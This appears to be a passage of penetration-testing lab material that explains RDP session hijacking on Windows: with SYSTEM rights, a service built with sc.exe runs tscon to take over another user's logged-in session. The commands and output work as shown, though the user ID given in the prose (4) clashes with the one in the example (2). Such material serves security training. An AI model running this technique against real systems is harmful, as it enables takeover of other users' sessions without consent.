RDP Session Hijacking
This method no longer works on Server 2019

privileges. Our goal is to hijack the user lewen
(User ID = 4)

To successfully impersonate a user without their password, we need to have SYSTEM
privileges and use the Microsoft tscon.exe binary that enables users to connect to another desktop session. It works by specifying which SESSION ID
(4
for the lewen
session in our example) we would like to connect to which session name (rdp-tcp#13
, which is our current session)
C:\htb> tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}
C:\htb> query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>juurena rdp-tcp#13 1 Active 7 8/25/2021 1:23 AM
lewen rdp-tcp#14 2 Active * 8/25/2021 1:28 AM
C:\htb> sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"
[SC] CreateService SUCCESS
C:\htb> net start sessionhijack
Once the service is started, a new terminal with the lewen
user session will appear
